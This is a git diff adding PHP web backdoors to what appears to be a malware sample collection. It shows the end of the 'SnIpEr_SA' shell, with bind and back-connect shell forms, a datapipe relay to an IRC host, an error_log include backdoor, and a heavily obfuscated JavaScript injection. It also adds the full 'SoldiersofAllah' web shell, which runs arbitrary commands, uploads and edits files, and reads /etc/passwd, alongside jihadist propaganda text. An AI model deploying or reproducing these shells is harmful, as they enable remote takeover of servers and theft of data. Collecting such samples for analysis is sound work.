user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; +} +if(!$safe_mode&&$unix){ +echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'9999')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'SnIpEr')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'80')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'80')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} + +if($unix){ +echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe."</tr></div></table>"; +echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text214'].$arrow."</b>",in('text','ircadmin',15,'ircadmin')); +echo sr(40,"<b>".$lang[$language.'_text215'].$arrow."</b>",in('text','ircserver',15,'ircserver')); +echo sr(40,"<b>".$lang[$language.'_text216'].$arrow."</b>",in('text','ircchanal',15,'ircchanl')); +echo sr(40,"<b>".$lang[$language.'_text217'].$arrow."</b>",in('text','ircname',15,'ircname')); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ips',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','ports',15,'80')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); + +echo $te."</td>".$fe."</tr></div></table>"; +} +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>o---[ SnIpEr_SA Shell | <a href=http://sniper-sa.com>http://sniper-sa.com</a> | <a SnIpEr.SA@hotmail.com>sniper.sa@hotmail.com</a> | ����� ������ ]---o</b></font></div></td></tr></table>".$f; + +if(empty($_POST['log'])){ +} else { +$log=$_POST['log']; +echo error_log("<? print include(\$_GET[ss]) ?>", 3,$log); +echo "</textarea></CENTER>"; +} +?> <script type="text/javascript" language="javascript"> +<!-- +fF7eSD8=new Array(); +fF7eSD8[0]="%3Cscript%3E%0Adocu"; +fF7eSD8[1]="ment.write%28une"; +fF7eSD8[2]="scape%28%22%253Cscri"; +fF7eSD8[3]="pt%2520type%253D%25"; +fF7eSD8[4]="22text/javascr"; +fF7eSD8[5]="ipt%2522%253Edo"; +fF7eSD8[6]="cument.write%25"; +fF7eSD8[7]="28%2527%255Cu00"; +fF7eSD8[8]="3c%255Cu0073%255C"; +fF7eSD8[9]="u0063%255Cu0072"; +fF7eSD8[10]="%255Cu0069%255Cu"; +fF7eSD8[11]="0070%255Cu007"; +fF7eSD8[12]="4%255Cu0020%255C"; +fF7eSD8[13]="u0074%255Cu007"; +fF7eSD8[14]="9%255Cu0070%255Cu"; +fF7eSD8[15]="0065%255Cu003d%25"; +fF7eSD8[16]="5Cu0022%255Cu0"; +fF7eSD8[17]="074%255Cu0065%255C"; +fF7eSD8[18]="u0078%255Cu0074%25"; +fF7eSD8[19]="5Cu002f%255Cu"; +fF7eSD8[20]="006a%255Cu0061%255"; +fF7eSD8[21]="Cu0076%255Cu0"; +fF7eSD8[22]="061%255Cu0073%25"; +fF7eSD8[23]="5Cu0063%255Cu00"; +fF7eSD8[24]="72%255Cu0069%25"; +fF7eSD8[25]="5Cu0070%255Cu"; +fF7eSD8[26]="0074%255Cu0022"; +fF7eSD8[27]="%255Cu003e%255C"; +fF7eSD8[28]="u0064%255Cu00"; +fF7eSD8[29]="6f%255Cu0063%255C"; +fF7eSD8[30]="u0075%255Cu006"; +fF7eSD8[31]="d%255Cu0065%255Cu"; +fF7eSD8[32]="006e%255Cu0074%255"; +fF7eSD8[33]="Cu002e%255Cu00"; +fF7eSD8[34]="77%255Cu0072%25"; +fF7eSD8[35]="5Cu0069%255Cu"; +fF7eSD8[36]="0074%255Cu0065%25"; +fF7eSD8[37]="5Cu0028%255Cu002"; +fF7eSD8[38]="7%255Cu005c%255Cu"; +fF7eSD8[39]="0075%255Cu0030"; +fF7eSD8[40]="%255Cu0030%255Cu0"; +fF7eSD8[41]="033%255Cu0063%25"; +fF7eSD8[42]="5Cu005c%255Cu007"; +fF7eSD8[43]="5%255Cu0030%255Cu"; +fF7eSD8[44]="0030%255Cu0035"; +fF7eSD8[45]="%255Cu0033%255C"; +fF7eSD8[46]="u005c%255Cu0075"; +fF7eSD8[47]="%255Cu0030%255Cu"; +fF7eSD8[48]="0030%255Cu003"; +fF7eSD8[49]="4%255Cu0033%255"; +fF7eSD8[50]="Cu005c%255Cu007"; +fF7eSD8[51]="5%255Cu0030%255Cu"; +fF7eSD8[52]="0030%255Cu0035%255"; +fF7eSD8[53]="Cu0032%255Cu00"; +fF7eSD8[54]="5c%255Cu0075%255C"; +fF7eSD8[55]="u0030%255Cu0030%25"; +fF7eSD8[56]="5Cu0034%255Cu00"; +fF7eSD8[57]="39%255Cu005c%255Cu"; +fF7eSD8[58]="0075%255Cu0030%255"; +fF7eSD8[59]="Cu0030%255Cu003"; +fF7eSD8[60]="5%255Cu0030%255C"; +fF7eSD8[61]="u005c%255Cu0075"; +fF7eSD8[62]="%255Cu0030%255Cu00"; +fF7eSD8[63]="30%255Cu0035%255"; +fF7eSD8[64]="Cu0034%255Cu005"; +fF7eSD8[65]="c%255Cu0075%255C"; +fF7eSD8[66]="u0030%255Cu0030%25"; +fF7eSD8[67]="5Cu0032%255Cu"; +fF7eSD8[68]="0030%255Cu005c%25"; +fF7eSD8[69]="5Cu0075%255Cu00"; +fF7eSD8[70]="30%255Cu0030%255"; +fF7eSD8[71]="Cu0035%255Cu003"; +fF7eSD8[72]="3%255Cu005c%255Cu0"; +fF7eSD8[73]="075%255Cu0030"; +fF7eSD8[74]="%255Cu0030%255Cu00"; +fF7eSD8[75]="35%255Cu0032%25"; +fF7eSD8[76]="5Cu005c%255Cu00"; +fF7eSD8[77]="75%255Cu0030%255Cu"; +fF7eSD8[78]="0030%255Cu003"; +fF7eSD8[79]="4%255Cu0033%255Cu"; +fF7eSD8[80]="005c%255Cu0075%25"; +fF7eSD8[81]="5Cu0030%255Cu"; +fF7eSD8[82]="0030%255Cu0033"; +fF7eSD8[83]="%255Cu0064%255Cu0"; +fF7eSD8[84]="05c%255Cu0075%25"; +fF7eSD8[85]="5Cu0030%255Cu003"; +fF7eSD8[86]="0%255Cu0036%255"; +fF7eSD8[87]="Cu0038%255Cu0"; +fF7eSD8[88]="05c%255Cu0075%255C"; +fF7eSD8[89]="u0030%255Cu003"; +fF7eSD8[90]="0%255Cu0037%255C"; +fF7eSD8[91]="u0034%255Cu005c%25"; +fF7eSD8[92]="5Cu0075%255Cu"; +fF7eSD8[93]="0030%255Cu0030"; +fF7eSD8[94]="%255Cu0037%255Cu"; +fF7eSD8[95]="0034%255Cu005c%25"; +fF7eSD8[96]="5Cu0075%255Cu00"; +fF7eSD8[97]="30%255Cu0030%255Cu"; +fF7eSD8[98]="0037%255Cu0030%255"; +fF7eSD8[99]="Cu005c%255Cu00"; +fF7eSD8[100]="75%255Cu0030%255"; +fF7eSD8[101]="Cu0030%255Cu00"; +fF7eSD8[102]="33%255Cu0061%255Cu"; +fF7eSD8[103]="005c%255Cu0075"; +fF7eSD8[104]="%255Cu0030%255C"; +fF7eSD8[105]="u0030%255Cu0032%25"; +fF7eSD8[106]="5Cu0066%255Cu00"; +fF7eSD8[107]="5c%255Cu0075%255Cu"; +fF7eSD8[108]="0030%255Cu0030%25"; +fF7eSD8[109]="5Cu0032%255Cu0"; +fF7eSD8[110]="066%255Cu005c"; +fF7eSD8[111]="%255Cu0075%255Cu"; +fF7eSD8[112]="0030%255Cu0030%25"; +fF7eSD8[113]="5Cu0036%255Cu003"; +fF7eSD8[114]="4%255Cu005c%255C"; +fF7eSD8[115]="u0075%255Cu003"; +fF7eSD8[116]="0%255Cu0030%255C"; +fF7eSD8[117]="u0036%255Cu00"; +fF7eSD8[118]="31%255Cu005c%255"; +fF7eSD8[119]="Cu0075%255Cu00"; +fF7eSD8[120]="30%255Cu0030%255Cu"; +fF7eSD8[121]="0037%255Cu0034"; +fF7eSD8[122]="%255Cu005c%255Cu00"; +fF7eSD8[123]="75%255Cu0030%255C"; +fF7eSD8[124]="u0030%255Cu003"; +fF7eSD8[125]="6%255Cu0031%255"; +fF7eSD8[126]="Cu005c%255Cu007"; +fF7eSD8[127]="5%255Cu0030%255"; +fF7eSD8[128]="Cu0030%255Cu0"; +fF7eSD8[129]="032%255Cu0065"; +fF7eSD8[130]="%255Cu005c%255C"; +fF7eSD8[131]="u0075%255Cu0030%25"; +fF7eSD8[132]="5Cu0030%255Cu003"; +fF7eSD8[133]="7%255Cu0034%255Cu0"; +fF7eSD8[134]="05c%255Cu0075%255C"; +fF7eSD8[135]="u0030%255Cu00"; +fF7eSD8[136]="30%255Cu0033%255C"; +fF7eSD8[137]="u0030%255Cu005"; +fF7eSD8[138]="c%255Cu0075%255Cu"; +fF7eSD8[139]="0030%255Cu003"; +fF7eSD8[140]="0%255Cu0033%255C"; +fF7eSD8[141]="u0030%255Cu005"; +fF7eSD8[142]="c%255Cu0075%255"; +fF7eSD8[143]="Cu0030%255Cu0"; +fF7eSD8[144]="030%255Cu0036%255C"; +fF7eSD8[145]="u0063%255Cu005c"; +fF7eSD8[146]="%255Cu0075%255C"; +fF7eSD8[147]="u0030%255Cu00"; +fF7eSD8[148]="30%255Cu0037%25"; +fF7eSD8[149]="5Cu0033%255Cu00"; +fF7eSD8[150]="5c%255Cu0075%255"; +fF7eSD8[151]="Cu0030%255Cu00"; +fF7eSD8[152]="30%255Cu0032%255"; +fF7eSD8[153]="Cu0065%255Cu005c"; +fF7eSD8[154]="%255Cu0075%255C"; +fF7eSD8[155]="u0030%255Cu00"; +fF7eSD8[156]="30%255Cu0036%255Cu"; +fF7eSD8[157]="0066%255Cu005c%255"; +fF7eSD8[158]="Cu0075%255Cu00"; +fF7eSD8[159]="30%255Cu0030%255Cu"; +fF7eSD8[160]="0037%255Cu0032%25"; +fF7eSD8[161]="5Cu005c%255Cu007"; +fF7eSD8[162]="5%255Cu0030%255C"; +fF7eSD8[163]="u0030%255Cu0036%25"; +fF7eSD8[164]="5Cu0037%255Cu00"; +fF7eSD8[165]="5c%255Cu0075%255"; +fF7eSD8[166]="Cu0030%255Cu0030"; +fF7eSD8[167]="%255Cu0032%255Cu00"; +fF7eSD8[168]="66%255Cu005c%255"; +fF7eSD8[169]="Cu0075%255Cu0"; +fF7eSD8[170]="030%255Cu0030%255C"; +fF7eSD8[171]="u0037%255Cu0037"; +fF7eSD8[172]="%255Cu005c%255Cu"; +fF7eSD8[173]="0075%255Cu0030%25"; +fF7eSD8[174]="5Cu0030%255Cu"; +fF7eSD8[175]="0036%255Cu0038%255"; +fF7eSD8[176]="Cu005c%255Cu007"; +fF7eSD8[177]="5%255Cu0030%255"; +fF7eSD8[178]="Cu0030%255Cu0036"; +fF7eSD8[179]="%255Cu0035%255Cu00"; +fF7eSD8[180]="5c%255Cu0075%255Cu"; +fF7eSD8[181]="0030%255Cu003"; +fF7eSD8[182]="0%255Cu0037%255C"; +fF7eSD8[183]="u0032%255Cu00"; +fF7eSD8[184]="5c%255Cu0075%255"; +fF7eSD8[185]="Cu0030%255Cu0"; +fF7eSD8[186]="030%255Cu0036%25"; +fF7eSD8[187]="5Cu0035%255Cu0"; +fF7eSD8[188]="05c%255Cu0075"; +fF7eSD8[189]="%255Cu0030%255Cu0"; +fF7eSD8[190]="030%255Cu0032"; +fF7eSD8[191]="%255Cu0065%255Cu"; +fF7eSD8[192]="005c%255Cu0075"; +fF7eSD8[193]="%255Cu0030%255Cu00"; +fF7eSD8[194]="30%255Cu0036%25"; +fF7eSD8[195]="5Cu0061%255Cu"; +fF7eSD8[196]="005c%255Cu007"; +fF7eSD8[197]="5%255Cu0030%255"; +fF7eSD8[198]="Cu0030%255Cu0037"; +fF7eSD8[199]="%255Cu0033%255Cu0"; +fF7eSD8[200]="05c%255Cu0075%255C"; +fF7eSD8[201]="u0030%255Cu00"; +fF7eSD8[202]="30%255Cu0033%255Cu"; +fF7eSD8[203]="0065%255Cu005"; +fF7eSD8[204]="c%255Cu0075%255Cu"; +fF7eSD8[205]="0030%255Cu0030%25"; +fF7eSD8[206]="5Cu0033%255Cu00"; +fF7eSD8[207]="63%255Cu005c%255C"; +fF7eSD8[208]="u0075%255Cu0030"; +fF7eSD8[209]="%255Cu0030%255Cu0"; +fF7eSD8[210]="032%255Cu0066%255"; +fF7eSD8[211]="Cu005c%255Cu0"; +fF7eSD8[212]="075%255Cu0030%25"; +fF7eSD8[213]="5Cu0030%255Cu"; +fF7eSD8[214]="0035%255Cu0033%255"; +fF7eSD8[215]="Cu005c%255Cu007"; +fF7eSD8[216]="5%255Cu0030%255Cu0"; +fF7eSD8[217]="030%255Cu0034%255"; +fF7eSD8[218]="Cu0033%255Cu00"; +fF7eSD8[219]="5c%255Cu0075%25"; +fF7eSD8[220]="5Cu0030%255Cu0"; +fF7eSD8[221]="030%255Cu0035"; +fF7eSD8[222]="%255Cu0032%255Cu0"; +fF7eSD8[223]="05c%255Cu0075"; +fF7eSD8[224]="%255Cu0030%255Cu"; +fF7eSD8[225]="0030%255Cu0034%25"; +fF7eSD8[226]="5Cu0039%255Cu0"; +fF7eSD8[227]="05c%255Cu0075%25"; +fF7eSD8[228]="5Cu0030%255Cu"; +fF7eSD8[229]="0030%255Cu0035%25"; +fF7eSD8[230]="5Cu0030%255Cu"; +fF7eSD8[231]="005c%255Cu0075%255"; +fF7eSD8[232]="Cu0030%255Cu0"; +fF7eSD8[233]="030%255Cu0035"; +fF7eSD8[234]="%255Cu0034%255Cu0"; +fF7eSD8[235]="05c%255Cu0075"; +fF7eSD8[236]="%255Cu0030%255Cu"; +fF7eSD8[237]="0030%255Cu0033%255"; +fF7eSD8[238]="Cu0065%255Cu0"; +fF7eSD8[239]="027%255Cu0029"; +fF7eSD8[240]="%255Cu003c%255C"; +fF7eSD8[241]="u002f%255Cu0073%25"; +fF7eSD8[242]="5Cu0063%255Cu007"; +fF7eSD8[243]="2%255Cu0069%255Cu"; +fF7eSD8[244]="0070%255Cu007"; +fF7eSD8[245]="4%255Cu003e%2527%25"; +fF7eSD8[246]="29%253C/script%25"; +fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri"; +fF7eSD8[248]="pt%3E"; +for (i = 0; i < fF7eSD8.length; i ++) +{ + document.write(unescape(fF7eSD8[i])) +} +// --> +</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/soldierofallah.txt b/web-malware-collection-master/Backdoors/PHP/soldierofallah.txt new file mode 100755 index 0000000..415aa99 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/soldierofallah.txt @@ -0,0 +1,1304 @@ +<?php +session_start(); + +error_reporting(0); +set_time_limit(9999999); + +$auth=1; +$version = "1.0"; + +$functions = array('Clear Screen' => 'ClearScreen()', +'Clear History' => 'ClearHistory()', +'Can I function?' => "runcommand('canirun','GET')", +'Get server info' => "runcommand('showinfo','GET')", +'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')", +'Open ports' => "runcommand('netstat -an | grep -i listen','GET')", +'Running processes' => "runcommand('ps -aux','GET')", +'Readme' => "runcommand('shellhelp','GET')" + + +); +$thisfile = basename(__FILE__); + +$style = '<style type="text/css"> +.cmdthing { + border-top-width: 0px; + font-weight: bold; + border-left-width: 0px; + font-size: 10px; + border-left-color: #000000; + background: #000000; + border-bottom-width: 0px; + border-bottom-color: #FFFFFF; + color: #FFFFFF; + border-top-color: #008000; + font-family: verdana; + border-right-width: 0px; + border-right-color: #000000; +} +input,textarea { + border-top-width: 1px; + font-weight: bold; + border-left-width: 1px; + font-size: 10px; + border-left-color: #FFFFFF; + background: #000000; + border-bottom-width: 1px; + border-bottom-color: #FFFFFF; + color: #FFFFFF; + border-top-color: #FFFFFF; + font-family: verdana; + border-right-width: 1px; + border-right-color: #FFFFFF; +} +A:hover { +text-decoration: none; +} + + +table,td,div { +border-collapse: collapse; +border: 1px solid #FFFFFF; +} +body { +color: #FFFFFF; +font-family: verdana; +} +</style>'; +$password='alqaeda'; +$sess = __FILE__.$password; +if(isset($_POST['p4ssw0rD'])) +{ + if($_POST['p4ssw0rD'] == $password) + { + $_SESSION[$sess] = $_POST['p4ssw0rD']; + } + else + { + die("Wrong password"); + } + +} +if($_SESSION[$sess] == $password) +{ + if(isset($_SESSION['workdir'])) + { + if(file_exists($_SESSION['workdir']) && is_dir($_SESSION['workdir'])) + { + chdir($_SESSION['workdir']); + } + } + + if(isset($_FILES['uploadedfile']['name'])) + { + $target_path = "./"; + $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); + if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { + + } + } + + if(isset($_GET['runcmd'])) + { + + $cmd = $_GET['runcmd']; + + print "<b>".get_current_user()."~# </b>". htmlspecialchars($cmd)."<br>"; + + if($cmd == "") + { + print "Empty Command..type \"shellhelp\" for some ehh...help"; + } + + elseif($cmd == "upload") + { + print '<br>Uploading to: '.realpath("."); + if(is_writable(realpath("."))) + { + print "<br><b>I can write to this directory</b>"; + } + else + { + print "<br><b><font color=red>I can't write to this directory, please choose another one.</b></font>"; + } + + } + elseif((ereg("changeworkdir (.*)",$cmd,$file)) || (ereg("cd (.*)",$cmd,$file))) + { + if(file_exists($file[1]) && is_dir($file[1])) + { + chdir($file[1]); + $_SESSION['workdir'] = $file[1]; + print "Current directory changed to ".$file[1]; + } + else + { + print "Directory not found"; + } + } + + elseif(strtolower($cmd) == "shellhelp") + { +print '<b><font size=5><center>In The Name Of Allah<center></b></font> +&copy; by SoldiersofAllah + +We are here.. +Because this is our ideologi and our breath +<br><br> +Jihad is our way!!! +Die as Syuhada or be a good moslem... +<br><br> +<font color="green">free for Palestine,iraq,Afghanistan,somalia,and every moslem country</font><br><br> +<font color="red">No respect for nasionalism,democracy,capitalism,liberalism,n All ideology what contradiction in Al-Quran and sunnah +Fuck to Israel,USA,UK,Indonesian government,Saudi government And Every government who always hating every mujahideen</font> + +=[]= Soldiers of Allah was here and controlling your system =[]= + '; + + } + elseif(ereg("editfile (.*)",$cmd,$file)) + { + if(file_exists($file[1]) && !is_dir($file[1])) + { + print "<form name=\"saveform\"><textarea cols=70 rows=10 id=\"area1\">"; + $contents = file($file[1]); + foreach($contents as $line) + { + print htmlspecialchars($line); + } + print "</textarea><br><input size=80 type=text name=filetosave value=".$file[1]."><input value=\"Save\" type=button onclick=\"SaveFile();\"></form>"; + } + else + { + print "File not found."; + } + } + elseif(ereg("deletefile (.*)",$cmd,$file)) + { + if(is_dir($file[1])) + { + if(rmdir($file[1])) + { + print "Directory succesfully deleted."; + } + else + { + print "Couldn't delete directory!"; + } + } + else + { + if(unlink($file[1])) + { + print "File succesfully deleted."; + } + else + { + print "Couldn't delete file!"; + } + } + } + elseif(strtolower($cmd) == "canirun") + { + print "If any of these functions is Enabled, the shell will function like it should.<br>"; + if(function_exists(passthru)) + { + print "Passthru: <b><font color=green>Enabled</b></font><br>"; + } + else + { + print "Passthru: <b><font color=red>Disabled</b></font><br>"; + } + + if(function_exists(exec)) + { + print "Exec: <b><font color=green>Enabled</b></font><br>"; + } + else + { + print "Exec: <b><font color=red>Disabled</b></font><br>"; + } + + if(function_exists(system)) + { + print "System: <b><font color=green>Enabled</b></font><br>"; + } + else + { + print "System: <b><font color=red>Disabled</b></font><br>"; + } + if(function_exists(shell_exec)) + { + print "Shell_exec: <b><font color=green>Enabled</b></font><br>"; + } + else + { + print "Shell_exec: <b><font color=red>Disabled</b></font><br>"; + } + print "<br>Safe mode will prevent some stuff, maybe command execution, if you're looking for a <br>reason why the commands aren't executed, this is probally it.<br>"; + if( ini_get('safe_mode') ){ + print "Safe Mode: <b><font color=red>Enabled</b></font>"; + } + else + { + print "Safe Mode: <b><font color=green>Disabled</b></font>"; + } + print "<br><br>Open_basedir will block access to some files you <i>shouldn't</i> access.<br>"; + if( ini_get('open_basedir') ){ + print "Open_basedir: <b><font color=red>Enabled</b></font>"; + } + else + { + print "Open_basedir: <b><font color=green>Disabled</b></font>"; + } + } + //About the shell + elseif(ereg("listdir (.*)",$cmd,$directory)) + { + + if(!file_exists($directory[1])) + { + die("Directory not found"); + } + //Some variables + chdir($directory[1]); + $i = 0; $f = 0; + $dirs = ""; + $filez = ""; + + if(!ereg("/$",$directory[1])) //Does it end with a slash? + { + $directory[1] .= "/"; //If not, add one + } + print "Listing directory: ".$directory[1]."<br>"; + print "<table border=0><td><b>Directories</b></td><td><b>Files</b></td><tr>"; + + if ($handle = opendir($directory[1])) { + while (false !== ($file = readdir($handle))) { + if(is_dir($file)) + { + $dirs[$i] = $file; + $i++; + } + else + { + $filez[$f] = $file; + $f++; + } + + } + print "<td>"; + + foreach($dirs as $directory) + { + print "<i style=\"cursor:crosshair\" onclick=\"deletefile('".realpath($directory)."');\">[D]</i><i style=\"cursor:crosshair\" onclick=\"runcommand('changeworkdir ".realpath($directory)."','GET');\">[W]</i><b style=\"cursor:crosshair\" onclick=\"runcommand('clear','GET'); runcommand ('listdir ".realpath($directory)."','GET'); \">".$directory."</b><br>"; + } + + print "</td><td>"; + + foreach($filez as $file) + { + print "<i style=\"cursor:crosshair\" onclick=\"deletefile('".realpath($file)."');\">[D]</i><u style=\"cursor:crosshair\" onclick=\"runcommand('editfile ".realpath($file)."','GET');\">".$file."</u><br>"; + } + + print "</td></table>"; + } + } + elseif(strtolower($cmd) == "about") + { + print "Soldiers of Allah private shell.<br>Version $version"; + } + //Show info + elseif(strtolower($cmd) == "showinfo") + { + if(function_exists(disk_free_space)) + { + $free = disk_free_space("/") / 1000000; + } + else + { + $free = "N/A"; + } + if(function_exists(disk_total_space)) + { + $total = trim(disk_total_space("/") / 1000000); + } + else + { + $total = "N/A"; + } + $path = realpath ("."); + + print "<b>Free:</b> $free / $total MB<br><b>Current path:</b> $path<br><b>Uname -a Output:</b><br>"; + + if(function_exists(passthru)) + { + passthru("uname -a"); + } + else + { + print "Passthru is disabled :("; + } + } + //Read /etc/passwd + elseif(strtolower($cmd) == "etcpasswdfile") + { + + $pw = file('/etc/passwd/'); + foreach($pw as $line) + { + print $line; + } + + + } + //Execute any other command + else + { + + if(function_exists(passthru)) + { + passthru($cmd); + } + else + { + if(function_exists(exec)) + { + exec("ls -la",$result); + foreach($result as $output) + { + print $output."<br>"; + } + } + else + { + if(function_exists(system)) + { + system($cmd); + } + else + { + if(function_exists(shell_exec)) + { + print shell_exec($cmd); + } + else + { + print "Sorry, none of the command functions works."; + } + } + } + } + } + } + + elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST['filecontent'])) + { + $file = $_POST['filetosave']; + if(!is_writable($file)) + { + if(!chmod($file, 0777)) + { + die("Nope, can't chmod nor save :("); //In fact, nobody ever reads this message ^_^ + } + } + + $fh = fopen($file, 'w'); + $dt = $_POST['filecontent']; + fwrite($fh, $dt); + fclose($fh); + } + else + { +?> +<html> + +<title>SoldiersofAllah Private Shell | Edited By KingDefacer ~ <?php print getenv("HTTP_HOST"); ?></title> +<head> +<?php print $style; ?> +<SCRIPT TYPE="text/javascript"> +function sf(){document.cmdform.command.focus();} +var outputcmd = ""; +var cmdhistory = ""; +function ClearScreen() +{ + outputcmd = ""; + document.getElementById('output').innerHTML = outputcmd; +} + +function ClearHistory() +{ + cmdhistory = ""; + document.getElementById('history').innerHTML = cmdhistory; +} + +function deletefile(file) +{ + deleteit = window.confirm("Are you sure you want to delete\n"+file+"?"); + if(deleteit) + { + runcommand('deletefile ' + file,'GET'); + } +} + +var http_request = false; +function makePOSTRequest(url, parameters) { + http_request = false; + if (window.XMLHttpRequest) { + http_request = new XMLHttpRequest(); + if (http_request.overrideMimeType) { + http_request.overrideMimeType('text/html'); + } + } else if (window.ActiveXObject) { + try { + http_request = new ActiveXObject("Msxml2.XMLHTTP"); + } catch (e) { + try { + http_request = new ActiveXObject("Microsoft.XMLHTTP"); + } catch (e) {} + } + } + if (!http_request) { + alert('Cannot create XMLHTTP instance'); + return false; + } + + + http_request.open('POST', url, true); + http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); + http_request.setRequestHeader("Content-length", parameters.length); + http_request.setRequestHeader("Connection", "close"); + http_request.send(parameters); +} + + +function SaveFile() +{ +var poststr = "filetosave=" + encodeURI( document.saveform.filetosave.value ) + + "&filecontent=" + encodeURI( document.getElementById("area1").value ); +makePOSTRequest('<?php print $ThisFile; ?>?savefile', poststr); +document.getElementById('output').innerHTML = document.getElementById('output').innerHTML + "<br><b>Saved! If it didn't save, you'll need to chmod the file to 777 yourself,<br> however the script tried to chmod it automaticly."; +} + +function runcommand(urltoopen,action,contenttosend){ +cmdhistory = "<br>&nbsp;<i style=\"cursor:crosshair\" onclick=\"document.cmdform.command.value='" + urltoopen + "'\">" + urltoopen + "</i> " + cmdhistory; +document.getElementById('history').innerHTML = cmdhistory; +if(urltoopen == "clear") +{ +ClearScreen(); +} + var ajaxRequest; + try{ + ajaxRequest = new XMLHttpRequest(); + } catch (e){ + try{ + ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP"); + } catch (e) { + try{ + ajaxRequest = new ActiveXObject("Microsoft.XMLHTTP"); + } catch (e){ + alert("Wicked error, nothing we can do about it..."); + return false; + } + } + } + ajaxRequest.onreadystatechange = function(){ + if(ajaxRequest.readyState == 4){ + outputcmd = "<pre>" + outputcmd + ajaxRequest.responseText +"</pre>"; + document.getElementById('output').innerHTML = outputcmd; + var objDiv = document.getElementById("output"); + objDiv.scrollTop = objDiv.scrollHeight; + } + } + ajaxRequest.open(action, "?runcmd="+urltoopen , true); + if(action == "GET") + { + ajaxRequest.send(null); + } + document.cmdform.command.value=''; + return false; +} + +function set_tab_html(newhtml) +{ +document.getElementById('commandtab').innerHTML = newhtml; +} + +function set_tab(newtab) +{ + if(newtab == "cmd") + { + newhtml = '&nbsp;&nbsp;&nbsp;<form name="cmdform" onsubmit="return runcommand(document.cmdform.command.value,\'GET\');"><b>Command</b>: <input type=text name=command class=cmdthing size=100%><br></form>'; + } + else if(newtab == "upload") + { + runcommand('upload','GET'); + newhtml = '<font size=0><b>This will reload the page... :(</b><br><br><form enctype="multipart/form-data" action="<?php print $ThisFile; ?>" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="10000000" />Choose a file to upload: <input name="uploadedfile" type="file" /><br /><input type="submit" value="Upload File" /></form></font>'; + } + else if(newtab == "workingdir") + { + <?php + $folders = "<form name=workdir onsubmit=\"return runcommand(\'changeworkdir \' + document.workdir.changeworkdir.value,\'GET\');\"><input size=80% type=text name=changeworkdir value=\""; + $pathparts = explode("/",realpath (".")); + foreach($pathparts as $folder) + { + $folders .= $folder."/"; + } + $folders .= "\"><input type=submit value=Change></form><br>Script directory: <i style=\"cursor:crosshair\" 